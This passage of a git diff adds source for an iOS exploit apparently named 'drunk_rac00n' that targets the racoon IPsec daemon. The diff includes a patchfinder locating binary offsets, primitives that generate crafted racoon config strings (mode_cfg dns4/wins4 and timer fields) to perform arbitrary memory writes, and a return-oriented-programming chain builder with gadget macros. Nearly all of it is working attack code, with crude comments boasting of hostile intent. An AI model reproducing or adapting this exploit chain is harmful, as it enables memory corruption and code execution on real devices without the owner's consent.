insn_str_imm_rn(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i >> 3) & 7; + else if ((*i & 0xF800) == 0x9000) + return 13; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*i & 0xF); + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*i & 0xF); + else + return 0; +} + +// Given an instruction, search backwards until an instruction is found matching the specified criterion. +static uint16_t* find_last_insn_matching(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* current_instruction, int (*match_func)(uint16_t*)) { + while ((uintptr_t)current_instruction > (uintptr_t)kdata) { + if (insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) { + current_instruction -= 2; + } else { + --current_instruction; + } + + if (match_func(current_instruction)) { + return current_instruction; + } + } + + return NULL; +} + +// Given an instruction and a register, find the PC-relative address that was stored inside the register by the time the instruction was reached. +static uint32_t find_pc_rel_value(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, int reg) { + // Find the last instruction that completely wiped out this register + int found = 0; + uint16_t* current_instruction = insn; + while ((uintptr_t)current_instruction > (uintptr_t)kdata) { + if (insn_is_32bit(current_instruction - 2)) { + current_instruction -= 2; + } else { + --current_instruction; + } + + if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) { + found = 1; + break; + } + + if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) { + found = 1; + break; + } + } + + if (!found) + return 0; + + // Step through instructions, executing them as a virtual machine, only caring about instructions that affect the target register and are commonly used for PC-relative addressing. + uint32_t value = 0; + while ((uintptr_t)current_instruction < (uintptr_t)insn) { + if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) { + value = insn_mov_imm_imm(current_instruction); + } else if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) { + value = *(uint32_t*)(kdata + (((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction))); + } else if (insn_is_movt(current_instruction) && insn_movt_rd(current_instruction) == reg) { + value |= insn_movt_imm(current_instruction) << 16; + } else if (insn_is_add_reg(current_instruction) && insn_add_reg_rd(current_instruction) == reg) { + if (insn_add_reg_rm(current_instruction) != 15 || insn_add_reg_rn(current_instruction) != reg) { + // Can't handle this kind of operation! + return 0; + } + + value += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return value; +} + +// Find PC-relative references to a certain address (relative to kdata). This is basically a virtual machine that only cares about instructions used in PC-relative addressing, so no branches, etc. +static uint16_t* find_literal_ref(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, uint32_t address) { + uint16_t* current_instruction = insn; + uint32_t value[16]; + memset(value, 0, sizeof(value)); + + while ((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) { + if (insn_is_mov_imm(current_instruction)) { + value[insn_mov_imm_rd(current_instruction)] = insn_mov_imm_imm(current_instruction); + } else if (insn_is_ldr_literal(current_instruction)) { + uintptr_t literal_address = (uintptr_t)kdata + ((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction); + if (literal_address >= (uintptr_t)kdata && (literal_address + 4) <= ((uintptr_t)kdata + ksize)) { + value[insn_ldr_literal_rt(current_instruction)] = *(uint32_t*)(literal_address); + } + } else if (insn_is_movt(current_instruction)) { + value[insn_movt_rd(current_instruction)] |= insn_movt_imm(current_instruction) << 16; + } else if (insn_is_add_reg(current_instruction)) { + int reg = insn_add_reg_rd(current_instruction); + if (insn_add_reg_rm(current_instruction) == 15 && insn_add_reg_rn(current_instruction) == reg) { + value[reg] += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + if (value[reg] == address) { + return current_instruction; + } + } + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return NULL; +} + +struct find_search_mask { + uint16_t mask; + uint16_t value; +}; + +// Search the range of kdata for a series of 16-bit values that match the search mask. +static uint16_t* find_with_search_mask(uint32_t region, uint8_t* kdata, size_t ksize, int num_masks, const struct find_search_mask* masks) { + uint16_t* end = (uint16_t*)(kdata + ksize - (num_masks * sizeof(uint16_t))); + uint16_t* cur; + for(cur = (uint16_t*) kdata; cur <= end; ++cur) { + int matched = 1; + int i; + for(i = 0; i < num_masks; ++i) { + if ((*(cur + i) & masks[i].mask) != masks[i].value) { + matched = 0; + break; + } + } + + if (matched) + return cur; + } + + return NULL; +} + +/* + * stolen from CBPatcher + */ +/* Some stuff from https://github.com/kpwn/yalu/blob/master/data/dyldmagic/libxnuexp.m, courtesy of qwertyoruiop */ + +/* Find start of a section in a macho */ +struct section *find_section(struct segment_command *seg, const char *name) +{ + struct section *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section *)((uintptr_t)seg + (uintptr_t)sizeof(struct segment_command)); + i < seg->nsects; + i++, sect = (struct section*)((uintptr_t)sect + sizeof(struct section))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +/* Find start of a load command in a macho */ +struct load_command *find_load_command(struct mach_header *mh, uint32_t cmd) { + struct load_command *lc, *flc; + + lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header)); + + while (1) { + if ((uintptr_t)lc->cmd == cmd) { + flc = (struct load_command *)(uintptr_t)lc; + break; + } + lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize); + } + return flc; +} + +/* Find start of a segment in a macho */ +struct segment_command *find_segment(struct mach_header *mh, const char *segname) { + struct load_command *lc; + struct segment_command *s, *fs = NULL; + lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header)); + while ((uintptr_t)lc < (uintptr_t)mh + (uintptr_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT) { + s = (struct segment_command *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize); + } + return fs; +} + +/* Find offset of an exported symbol in a macho */ +void* find_sym(struct mach_header *mh, const char *name) { + struct segment_command* first = (struct segment_command*) find_load_command(mh, LC_SEGMENT); + struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB); + vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr; + + char* sym_str_table = (char*) (((char*)mh) + symtab->stroff); + struct nlist* sym_table = (struct nlist*)(((char*)mh) + symtab->symoff); + + for (int i = 0; i < symtab->nsyms; i++) { + if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) { + return (void*)(uintptr_t)(sym_table[i].n_value + vmaddr_slide); + } + } + return 0; +} + +uint32_t get_offset_to_binary_of_bytes(uint8_t* bin, + uint32_t bin_len, + uint8_t* what, + uint32_t what_len) { + uint8_t* tmp = memmem(bin, bin_len, what, what_len); + if (tmp == NULL) + return -1; + + return tmp - bin; +} + +#include + +uint16_t swap_uint16(uint16_t val) { + return (val << 8) | (val >> 8); +} + +uint32_t swap_uint32(uint32_t val) { + val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF); + return (val << 16) | (val >> 16); +} + +uint32_t weird_swap(uint32_t lol) { + return (swap_uint16((lol & 0xffff0000) >> 16) << 16) | swap_uint16(lol & 0xffff); +} + +uint16_t get_movw_arg(uint32_t movw) { + /* + * garbage + */ + uint32_t arg = 0; + uint32_t movw_just_arg = weird_swap(movw); + arg |= (movw_just_arg & 0xff) << 0; + arg |= ((movw_just_arg & 0x7000) >> 12) << 8; + arg |= ((movw_just_arg & 0xf0000) >> 16) << 12; + arg |= ((movw_just_arg & 0x4000000) >> 26) << 11; + + return arg; +} + +uint32_t find_dns4_offset(uint32_t region, + uint8_t* bin, + size_t size) { + char* sysctl_arg = "net.inet.ipsec.esp_port"; + char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg)); + uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin); + uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy); + uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin); + uint32_t ref_to_dns4; + uintptr_t the_movw; + for (int i = 0; i < 0x100; i++) { + uintptr_t test_me = (uintptr_t)ref_ptr; + test_me += i; + if (insn_is_movt((uint16_t*)test_me)) { + the_movw = (uintptr_t)ref_ptr; + the_movw += i; + the_movw -= 4; + break; + } +// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) { +// ref_to_dns4 = ref + (i - 2); +// break; +// } + } + + uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin); + + uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw); + uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4)); + uint32_t movw_arg = get_movw_arg(movw_raw); + uint32_t movt_arg = get_movw_arg(movt_raw); + + uint32_t offset_to_pc = (movt_arg << 16) | movw_arg; + uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8); + uint32_t ref_dns4_offset = offset_to_pc + pc + 0x4; + + uint32_t autism = ref_dns4_offset; +// printf("0x%08x\n", autism); + + return *(uint32_t*)(bin + autism) + 0x8; +} + +uint32_t find_lc_conf_offset(uint32_t region, + uint8_t* bin, + size_t size) { + char* sysctl_arg = "net.inet.ipsec.esp_port"; + char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg)); + uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin); + uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy); + uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin); + uint32_t ref_to_dns4; + uintptr_t the_movw; + for (int i = 0; i < 0x100; i++) { + uintptr_t test_me = (uintptr_t)ref_ptr; + test_me += i; + if (insn_is_movt((uint16_t*)test_me)) { + the_movw = (uintptr_t)ref_ptr; + the_movw += i; + the_movw -= 4; + break; + } +// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) { +// ref_to_dns4 = ref + (i - 2); +// break; +// } + } + + uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin); + + uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw); + uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4)); + uint32_t movw_arg = get_movw_arg(movw_raw); + uint32_t movt_arg = get_movw_arg(movt_raw); + + uint32_t offset_to_pc = (movt_arg << 16) | movw_arg; + uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8); + uint32_t ref_dns4_offset = offset_to_pc + pc + 0x8; + + uint32_t autism = ref_dns4_offset; +// printf("0x%08x\n", autism); + + return *(uint32_t*)(bin + autism); +} + +uint32_t find_printf_addr(uint32_t region, + uint8_t* bin, + size_t size) { + char* usage_racoon_str = "usage: racoon"; + uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str)); + uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset); + uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin); + uintptr_t the_blx; + for (int i = 0; i < 0x100; i += 2) { + uintptr_t test_me = (uintptr_t)usage_ref; + test_me += i; + if (insn_is_bl((uint16_t*)test_me)) { + the_blx = (uintptr_t)usage_ref; + the_blx += i; + break; + } + } + + uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 8 + 0x4000; + + return printf_symbolstub_addr; +} + +uint32_t find_puts_addr(uint32_t region, + uint8_t* bin, + size_t size) { + char* usage_racoon_str = "usage: racoon"; + uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str)); + uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset); + uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin); + uintptr_t the_blx; + int count = 0; + for (int i = 0; i < 0x100; i += 2) { + uintptr_t test_me = (uintptr_t)usage_ref; + test_me += i; + if (insn_is_bl((uint16_t*)test_me)) { + the_blx = (uintptr_t)usage_ref; + the_blx += i; + usage_ref_addr = (void*)the_blx - (void*)bin; + count++; + if (count == 2) + break; + } + } + + uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 4 + 0x4000; + + return printf_symbolstub_addr; +} + +void sandbox(uint32_t region, + uint8_t* bin, + size_t size) { + // +} \ No newline at end of file diff --git a/src/gen/patchfinder.h b/src/gen/patchfinder.h new file mode 100644 index 0000000..21af7e3 --- /dev/null +++ b/src/gen/patchfinder.h @@ -0,0 +1,14 @@ +#ifndef PATCHFINDER_H +#define PATCHFINDER_H + +#include + +uint32_t find_dns4_offset(uint32_t region, + uint8_t* bin, + size_t size); + +uint32_t find_lc_conf_offset(uint32_t region, + uint8_t* bin, + size_t size); + +#endif \ No newline at end of file diff --git a/src/gen/shit.c b/src/gen/shit.c new file mode 100644 index 0000000..6e6c5c5 --- /dev/null +++ b/src/gen/shit.c @@ -0,0 +1,32 @@ +#include +#include "common.h" +#include +#include "shit.h" + +extern FILE* fp; + +int _asprintf(char **strp, const char *fmt, ...) { + va_list ap; + char* tmp = NULL; + + *strp = ""; + + /* + * shit + */ + + va_start(ap, fmt); + vfprintf(fp, fmt, ap); + va_end(ap); + +#if 0 + strcpy(fuck_memory_leaks, tmp); + + if (strp) + *strp = fuck_memory_leaks; + + free(tmp); +#endif + + return 0; +} \ No newline at end of file diff --git a/src/gen/shit.h b/src/gen/shit.h new file mode 100644 index 0000000..aaa4b7f --- /dev/null +++ b/src/gen/shit.h @@ -0,0 +1,6 @@ +#ifndef SHIT_H +#define SHIT_H + +int _asprintf(char **strp, const char *fmt, ...); + +#endif \ No newline at end of file diff --git a/src/gen/stage0_primitives.c b/src/gen/stage0_primitives.c new file mode 100644 index 0000000..b54cb1a --- /dev/null +++ b/src/gen/stage0_primitives.c @@ -0,0 +1,46 @@ +/* + * stage0_primitives + */ + +#include +#include + +#include "stage0_primitives.h" +#include "ip_tools.h" +#include "common.h" +#include +#include "shit.h" + +//#define DNS4_OFFSET 0xb6c10 + +char* write32_slid(uint32_t where, + uint32_t what) { + char* where_ip = NULL; + char* what_ip = NULL; + char* ret = NULL; + + uint32_t where_ = where - DNS4_OFFSET; + where_ >>= 2; + where_ += 0x80000000; + + where_ip = uint32_t_to_ip(where_); + what_ip = uint32_t_to_ip(what); + + asprintf(&ret, "mode_cfg{" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins4255.255.255.255;" + "wins4%s;" + "dns4%s;" + "}", + where_ip, + what_ip); + + strcpy(fuck_memory_leaks, ret); + + free(ret); + + return fuck_memory_leaks; +} \ No newline at end of file diff --git a/src/gen/stage0_primitives.h b/src/gen/stage0_primitives.h new file mode 100644 index 0000000..a9a71eb --- /dev/null +++ b/src/gen/stage0_primitives.h @@ -0,0 +1,10 @@ +#ifndef STAGE0_PRIMITIVES_H +#define STAGE0_PRIMITIVES_H + +#include + +extern uint32_t DNS4_OFFSET; +char* write32_slid(uint32_t where, + uint32_t what); + +#endif \ No newline at end of file diff --git a/src/gen/stage1_primitives.c b/src/gen/stage1_primitives.c new file mode 100644 index 0000000..ffe7b53 --- /dev/null +++ b/src/gen/stage1_primitives.c @@ -0,0 +1,168 @@ +/* + * stage1_primitives + */ + +#include +#include + +#include "stage1_primitives.h" +#include "stage0_primitives.h" +#include "ip_tools.h" +#include "common.h" +#include +#include "shit.h" + +//#define LC_CONF_OFFSET 0xb6088 + +extern FILE* fp; + +char* write32_unslid(uint32_t where, + uint32_t what) { + char* ret = ""; + _asprintf(&ret, + "%s%s", + ret, + write32_slid(LC_CONF_OFFSET, + where - 0xa0)); + _asprintf(&ret, + "%s" + "timer{" + "counter%u;" + "}", + ret, + what); + + return ret; +} + +char* write32_unslid_pre(uint32_t where) { + char* ret = ""; + _asprintf(&ret, + "%s%s", + ret, + write32_slid(LC_CONF_OFFSET, + where - 0xa0)); + return ret; +} + +char* writebuf_old_unslid(uint32_t where, + char* what, + uint32_t len) { + char* ret = ""; + uint32_t* lol = (uint32_t*)what; + + while (((void*)lol - (void*)what) < len) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(where + ((void*)lol - (void*)what))); + + /* + * i make an exception for 80 cols here + */ + + _asprintf(&ret, "%stimer{", ret); + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; } + + _asprintf(&ret, + "%s}", + ret); + } + + strcpy(fuck_memory_leaks, ret); + + free(ret); + + return fuck_memory_leaks; + + return ret; +} + +char* writebuf_unslid(uint32_t where, + char* what, + uint32_t len) { + char* ret = ""; + uint32_t* lol = (uint32_t*)what; + +#if 0 + for (uint32_t here = where; here < where + len; here++) { + asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(here)); + + asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here - where))); + } +#endif + +#if 1 + while (((void*)lol - (void*)what) < len) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(where + ((void*)lol - (void*)what))); + + /* + * i make an exception for 80 cols here + */ + + _asprintf(&ret, "%stimer{", ret); + + + /* + * this is so fucking ugly + */ + if ((((*lol) & 0x80000000) >> 31) == 1) { +lol: + _asprintf(&ret, + "%s}", + ret); + + for (uint32_t here = ((void*)lol - (void*)what); here < ((void*)lol - (void*)what) + 4; here++) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(here + where)); + _asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here))); + } + + lol++; + continue; + } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; } + + _asprintf(&ret, + "%s}", + ret); + } +#endif + + return ret; +} diff --git a/src/gen/stage1_primitives.h b/src/gen/stage1_primitives.h new file mode 100644 index 0000000..d6b9c33 --- /dev/null +++ b/src/gen/stage1_primitives.h @@ -0,0 +1,19 @@ +#ifndef STAGE1_PRIMITIVES_H +#define STAGE1_PRIMITIVES_H + +#include + +extern uint32_t LC_CONF_OFFSET; + +char* write32_unslid(uint32_t where, + uint32_t what); + +char* writebuf_old_unslid(uint32_t where, + char* what, + uint32_t len); + +char* writebuf_unslid(uint32_t where, + char* what, + uint32_t len); + +#endif \ No newline at end of file diff --git a/src/gen/stage2.c b/src/gen/stage2.c new file mode 100644 index 0000000..8b98a7e --- /dev/null +++ b/src/gen/stage2.c @@ -0,0 +1,404 @@ +/* + * drunk_rac00n + * + * we call this "ROP" round these parts + * steal everything, kill everyone, cause total financial ruin. + * + * this exploit is seriously garbage, but gawd damnit it exploits the thing + * + * hax + */ + +#include +#include "stage2.h" +#include +#include +#include +#include +#include + +#define MOV_R0(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ +} while (0) + +#define CALL(what) do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ + chain[chain_len++] = base + nulls_addr; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + blx_r5; \ +} while (0) + +#define CALL_1ARG(what, arg) do { \ + MOV_R0(arg); \ + CALL(what); \ +} while (0) + +#define STR_R0(where) do { \ + chain[chain_len++] = where; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + str_r0_r4; \ + chain[chain_len++] = where; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define MOV_R1_R0() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r1_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define DEREF_IN_R0(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define DEREF_R0() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + ldr_r0_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define MOV_R1(what) do { \ + chain[chain_len++] = what; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + mov_r1_r0; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define ADD_R0_R1() do { \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + add_r0_r1; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + nop; \ +} while (0) + +#define CALL_4_ARG_L2_0(what, arg1, arg2) do { \ + MOV_R0(0); \ + STR_R0(base + reserve_addr + 0x40000); \ + MOV_R0(base + weird_r3); \ + STR_R0(base + reserve_addr + 0x4014); \ + MOV_R0(base + reserve_addr + 0x4000); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = arg2; \ + chain[chain_len++] = base + reserve_addr + 0x40000; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + other_weird_r3; \ + MOV_R0(arg1); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ +} while (0) \ + +#define CALL_4_PTRARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(arg1); \ + STR_R0(stack_base + (chain_len * 4) + 520); \ + DEREF_IN_R0(arg2); \ + STR_R0(stack_base + (chain_len * 4) + 340); \ + MOV_R0(0); \ + STR_R0(base + reserve_addr + 0x40000); \ + MOV_R0(base + weird_r3); \ + STR_R0(base + reserve_addr + 0x4014); \ + MOV_R0(base + reserve_addr + 0x4000); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = 0x32323232; \ + chain[chain_len++] = base + reserve_addr + 0x40000; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = base + other_weird_r3; \ + MOV_R0(0x31313131); \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = UNUSED; \ + chain[chain_len++] = what; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = 0; \ + chain[chain_len++] = base + nop; \ +} while (0) \ + +#define CALL_SLID_4_ARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ + STR_R0(stack_base + (chain_len * 4) + 392); \ + CALL_4_ARG_L2_0(0x12345678, arg1, arg2); \ +} while (0) + +#define CALL_SLID(what) do { \ + STR_R0(base + reserve_addr + 444); \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ + STR_R0(base + reserve_addr + 448); \ + MOV_R1(0); \ + DEREF_IN_R0(base + reserve_addr + 448); \ + STR_R0(stack_base + (chain_len * 4) + 96 + (18 * 4)); \ + DEREF_IN_R0(base + reserve_addr + 444); \ + CALL(0x1234567c); \ +} while (0) + +#define CALL_SLID_4_PTRARG_L2_0(what, arg1, arg2) do { \ + DEREF_IN_R0(base + reserve_addr + 20); \ + MOV_R1_R0(); \ + MOV_R0(what); \ + ADD_R0_R1(); \ +/* MOV_R1_R0(); \ + CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); \ +*/ STR_R0(stack_base + (chain_len * 4) + 720); \ + CALL_4_PTRARG_L2_0(0x12345679, arg1, arg2); \ +} while (0) + +#define PRINT_STILL_HERE() do { \ +/* CALL_1ARG(base + printf_addr, 0x109000); */\ +} while (0) + +uintptr_t get_dyld_shc_slide(void) { + return _dyld_get_image_vmaddr_slide(1); +} + +uintptr_t get_dyld_shc_sym_addr(char* sym) { + return dlsym(RTLD_DEFAULT, sym) - get_dyld_shc_slide(); +} + +uintptr_t get_dyld_shc_sym_addr_jsc(char* sym) { + return dlsym(dlopen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore", RTLD_LAZY) , sym) - get_dyld_shc_slide(); +} + +rop_chain_shit gen_rop_chain(uint32_t base, + uint32_t we_out_here_addr, + uint32_t mov_r0, + uint32_t puts_addr, + uint32_t blx_r5, + uint32_t nulls_addr, + uint32_t malloc_addr, + uint32_t mov_r1_r0, + uint32_t nop, + uint32_t malloc_status_addr, + uint32_t printf_addr, + uint32_t exit_addr, + uint32_t str_r0_r4, + uint32_t reserve_addr, + uint32_t ldr_r0_r0, + uint32_t add_r0_r1, + uint32_t stack_base, + uint32_t dyld_shc_base_status, + uint32_t scprefcreate_dsc_offset, + uint32_t scprefcreate_lazy_offset, + uint32_t weird_r3, + uint32_t other_weird_r3) { + /* + * to quote qwertyoruiop: + * ROP Insanity. + * + * Message to security researchers, feds and apple employees: + * + * If you want to understand this, you have to hit a blunt. + * I don't care if you're at work. Roll a fat one and smoke it. Right now. + * + * If your boss questions this, feel free to tell him to contact me. I'll explain how crucial THC is for this shit. + */ + + /* + * this is definitely overkill + */ + uint32_t* chain = (uint32_t*)calloc(0x100000, sizeof(uint32_t)); + uint32_t chain_len = 0; + + rop_chain_shit chain_b0i = (rop_chain_shit)malloc(sizeof(struct rop_chain_shit_t)); + + /* output "intro" string */ + CALL_1ARG(base + puts_addr, base + we_out_here_addr); + +// CALL_4_ARG_L2_0(base + 0x9ad8c, LOG_SYSLOG, base + we_out_here_addr); + + /* allocate memory for file read later */ + CALL_1ARG(base + malloc_addr, 0x100000); + STR_R0(base + reserve_addr); + MOV_R1_R0(); + + /* output malloc string */ + CALL_1ARG(base + printf_addr, base + malloc_status_addr); + + /* calculate dyld_shared_cache slide */ 